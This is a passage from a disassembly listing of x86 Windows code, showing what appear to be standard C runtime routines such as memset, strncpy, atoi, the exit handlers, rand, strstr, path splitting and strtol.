		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 27004B3h
		nop
		push	eax
		call	near ptr 26F0C4Ah
		nop

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		nop
		call	near ptr 77E75CB5h

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
